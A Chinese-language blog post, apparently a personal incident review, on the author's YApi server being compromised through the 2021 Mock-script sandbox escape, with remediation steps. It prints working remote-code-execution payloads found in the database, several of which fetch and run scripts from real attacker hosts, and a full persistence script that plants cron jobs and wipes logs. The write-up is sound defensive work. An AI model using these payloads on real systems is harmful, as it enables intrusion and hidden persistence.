野声

Hey, 野声!

谁有天大力气可以拎着自己飞呀
twitter
github

YApi 漏洞複盤及解決方案

今天為了 OPPO 商城的學生認證上了一下教育郵箱,去郵箱驗證的時候發現收件箱收了一堆莫名其妙的退信,然後再一看發件箱,發現被拿來發了一堆的廣告,感覺大事不妙。

掃了一下發件箱,發現有一條發送給某個隨機郵箱說 YApi 註冊成功的信息,我在自己的公網服務上是部署了一個 YApi,又想到好像最近有 YApi 的漏洞。

於是登上了 YApi 看了一下,註冊用戶中果然多了一堆莫名的亂碼帳號。

看起來伺服器是安然無恙的,所幸我是用 Docker 運行的 YApi。

漏洞概述#

讓專業的人來說:

Yapi 是高效、易用、功能強大的 api 管理平台,旨在為開發、產品、測試人員提供更優雅的接口管理服務。可以幫助開發者輕鬆創建、發布、維護 API,YApi 還為用戶提供了優秀的互動體驗,開發人員只需利用平台提供的接口數據寫入工具以及簡單的點擊操作就可以實現接口的管理。

2021 年 7 月 8 日,有用戶在 GitHub 上發布了遭受攻擊的相關信息。攻擊者通過註冊用戶,並使用 Mock 功能實現遠程命令執行。命令執行的原理是 Node.js 通過 require('vm') 來構建沙箱環境,而攻擊者可以通過原型鏈改變沙箱環境運行的上下文,從而達到沙箱逃逸的效果。通過 vm.runInNewContext("this.constructor.constructor('return process')()") 即可獲得一個 process 對象。

-- 0x4qE@知道創宇 404 實驗室 https://paper.seebug.org/1639/

推薦大家看看這個原文。

好嘛,解決它#

這還是我第一次直面漏洞。

看了一些解決方案:

所以接下來就是關閉漏洞利用 & 止損。

升級版本#

更新 Yapi 至官方發布的 1.9.3,新版本用了更為安全的 safeify 模塊,可以有效地防止這個漏洞。

我用的是 https://github.com/fjc0k/docker-YApi

docker-compose pull yapi-web \
  && docker-compose down \
  && docker-compose up -d

關閉 YAPI 用戶註冊功能#

docker-compose.yml 配置環境變量 YAPI_CLOSE_REGISTER 為 true 即可。

然後重啟 compose:

docker-compose restart

刪除 mock 腳本#

首先進入 Mongo 的容器內,然後連接數據庫,刪掉已有的 mock 腳本:

docker-compose exec yapi-mongo /bin/bash
mongo

# 資料庫相關操作
> show dbs
> use yapi
> show tables

然後就能看到本地已有的表,需要刪除 mock 腳本,先看一下有什麼 Mock 腳本:

> db.adv_mock.find()
# 就能看到一堆 帶有 sandbox 字樣的 mock_script
{ "_id" : 10, "enable" : true, "interface_id" : 327, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 59, "uid" : "194", "up_time" : 1601333575, "__v" : 0 }
{ "_id" : 16, "enable" : true, "interface_id" : 332, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 67, "uid" : "201", "up_time" : 1601335228, "__v" : 0 }
{ "_id" : 76, "enable" : true, "interface_id" : 742, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()", "project_id" : 179, "uid" : "299", "up_time" : 1625730796, "__v" : 0 }
{ "_id" : 82, "enable" : true, "interface_id" : 772, "mock_script" : "\n        const sandbox = this; // 獲取Context\n        const ObjectConstructor = this.constructor; // 獲取 Object 對象構造函數\n        const FunctionConstructor = ObjectConstructor.constructor; // 獲取 Function 對象構造函數\n        const myfun = FunctionConstructor('return process'); // 構造一個函數,返回process全局變量\n        const process = myfun();\n        mockJson = process.mainModule.require(\"child_process\").execSync(\"curl -L https://jhx15.zzlxrj.com/Uploads/image/goods/2021-06-07/start.sh | bash -s '46n4YeKAjUp2FcJnx8SFEb5CMK3kMRJ9o9MEuCzWtv2VEF5LYeq6TJKSWV3h4sEj4CQiUmsb2dNMEQcKJZJM8zCYFp7wFoy'\").toString()", "project_id" : 227, "uid" : "355", "up_time" : 1626338890, "__v" : 0 }
{ "_id" : 88, "enable" : true, "interface_id" : 787, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"curl http://47.98.198.11:8015/init.sh | bash\").toString()", "project_id" : 243, "uid" : "383", "up_time" : 1625989857, "__v" : 0 }
{ "_id" : 94, "enable" : true, "interface_id" : 792, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 251, "uid" : "390", "up_time" : 1625991205, "__v" : 0 }
{ "_id" : 100, "enable" : true, "interface_id" : 827, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 267, "uid" : "404", "up_time" : 1626096094, "__v" : 0 }
{ "_id" : 106, "enable" : true, "interface_id" : 832, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 275, "uid" : "411", "up_time" : 1626096134, "__v" : 0 }
{ "_id" : 124, "enable" : true, "interface_id" : 922, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nvar t = process[\"\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\"][\"\\x72\\x65\\x71\\x75\\x69\\x72\\x65\"](\"\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\")\r\nmockJson=t.execSync(\"wget -qO- http://47.98.198.11:8015/cron.sh | sh \").toString()", "project_id" : 315, "uid" : "425", "up_time" : 1626506262, "__v" : 0 }
{ "_id" : 130, "enable" : true, "interface_id" : 992, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo 123321vul\").toString()", "project_id" : 387, "uid" : "635", "up_time" : 1626766514, "__v" : 0 }

> db.adv_mock.deleteMany({"mock_script" : {$regex : "sandbox"}})

可以看到是真的有很多利用腳本。。。

打開一個 cron.sh 看了一下:

#!/bin/bash

crondir1='/var/spool/cron/'"$USER"
crondir2='/var/spool/cron/crontabs/'"$USER"

chmod 777 /usr/bin/chattr
chmod 777 /bin/chattr

unlock_cron()
{
    chattr -ia /etc/crontab
    chattr -R -ia /var/spool/cron
    chattr -R -ia /var/spool/cron/crontabs
    chattr -R -ia /etc/cron.d
}

lock_cron()
{
    chattr +ia ${crondir1}
    chattr +ia ${crondir2}
    chattr +ia /etc/cron.d/zabbix_client
}

rtdir="/etc/zabbix_flag"
echo 1 > ${rtdir}

if [ -f "$rtdir" ]
then
    mv /tmp/zabbix_client /etc/zabbix_client
    unlock_cron
    cat ${crondir1} | grep -E -v "^#" | grep -q "zabbix_client" ||               echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir1}
    cat ${crondir2} | grep -E -v "^#" | grep -q "zabbix_client" ||               echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir2}
    cat /etc/cron.d/zabbix_client | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/40 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/cron.d/zabbix_client
    cat /etc/crontab | grep -E -v "^#" | grep -q "zabbix_client" ||              echo "0 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/crontab
    crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1") | crontab -
    lock_cron
    chmod 777 /etc/zabbix_client
    chattr +ia /etc/zabbix_client
else
    unlock_cron
    crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /tmp/zabbix_client >/dev/null 2>&1") | crontab -
    lock_cron
    chmod 777 /tmp/zabbix_client
    chattr +ia /tmp/zabbix_client
fi
iptables -A OUTPUT -p tcp -j ACCEPT
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
chmod 444 /usr/bin/chattr
chmod 444 /bin/chattr
rm /etc/zabbix_flag
rm cron.sh

搜了一下 rabbix 是什麼:Real-time monitoring of IT components and services, such as networks, servers, VMs, applications and the cloud.

但是用 docker 的好處就出現了~docker-compose 停止再啟動,一切利用都沒有了..

後記#

這個漏洞很早之前就看過新聞,但沒聯想到會發生在自己身上...
看記錄,6.4 號就有人註冊了新的 yapi 帳號,止血太晚~

還好是執行在容器裡的服務,沒有造成太大的損失。

參考鏈接#

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。